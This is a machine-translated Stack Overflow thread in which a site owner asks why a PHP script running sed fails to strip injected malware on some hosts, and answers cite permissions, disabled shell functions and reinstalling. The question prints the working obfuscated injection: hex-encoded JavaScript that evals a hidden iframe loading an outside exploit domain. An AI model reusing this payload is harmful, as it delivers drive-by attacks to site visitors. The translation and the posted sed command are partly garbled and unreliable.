为什么有些服务器不能运行SED命令?

为什么有些服务器不能运行SED命令?

问题描述:

最近我一直在试图修复我的服务器上的一系列病毒,我怀疑这是由于Blackhole工具包造成的。它附加一个js脚本到的index.php文件和.html文件最终看起来像这样..为什么有些服务器不能运行SED命令?

<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script> 

这是标准的iframe病毒的编码版本。我一直在尝试通过运行下面的脚本来删除它。 (这是堆栈溢出的解决方案)。

$dir = "./"; 

$removejs = `find $dir -name "*.php" -type f |xargs sed -i '<script>var t=.*eval.*script>##g' 2>&1`; 

问题是,该脚本适用于某些服务器,而其他服务器似乎没有效果。有谁知道为什么?我已经在至少10个独立的虚拟主机上试过了。该脚本只能在约3台主机上成功运行。其余的只是没有做任何事情。我需要更改哪些设置?

感谢任何帮助,我可以得到。谢谢 !

+0

PHP文件的权限? – 2011-08-31 05:49:37

+0

你不是试过通过ssh运行shell脚本吗? – realmfoo

+0

这绝对不是权限,我没有ssh帐户。 – awlhy

  1. 如果你运行这个脚本使用http请求,即它就会通过网络服务器与像nobodyapache的用户权限拼命地跑 - 然后在此脚本中使用sed -i命令就不能更改任何文件find由于权限不足而建立。

  2. 您的PHP安装可能会禁用反引号和/或任何其他形式的命令执行,因为它通常是直接的安全威胁(使用safe_mode,使用PHP suhosin补丁指令等)。

您最好的办法是检查未执行此脚本的主机上的Web服务器日志。

+0

3.病毒可能包含特权升级攻击,最终将标准shell命令替换为重新感染文件的命令 – fluffy

+0

我想现在还没有简单的答案?我会去挖掘原木并穿过它。谢谢你们的帮助。 – awlhy

+0

从技术上讲,如果你的服务器真的被病毒感染,那么确保它从未被植入和利用的唯一方法就是完全重新安装。让虚拟机/容器中运行主机的Web服务器实例在这种情况下确实有所帮助:您可以在虚拟机中获得新的虚拟机副本。 – GreyCat

您正在使用的某些主机可能已禁用shell功能(exec,,system等),可能是通过PHP臭名昭着的safe_mode配置选项禁用的。您将需要用纯PHP重写脚本,或者找到另一种方法来删除插入的内容。

+0

对一些主机启用safe_mode,但不是脚本无法运行的所有主机。也许它可能是设置的组合。我尝试使用preg_replace重写,但它似乎需要777工作。 – awlhy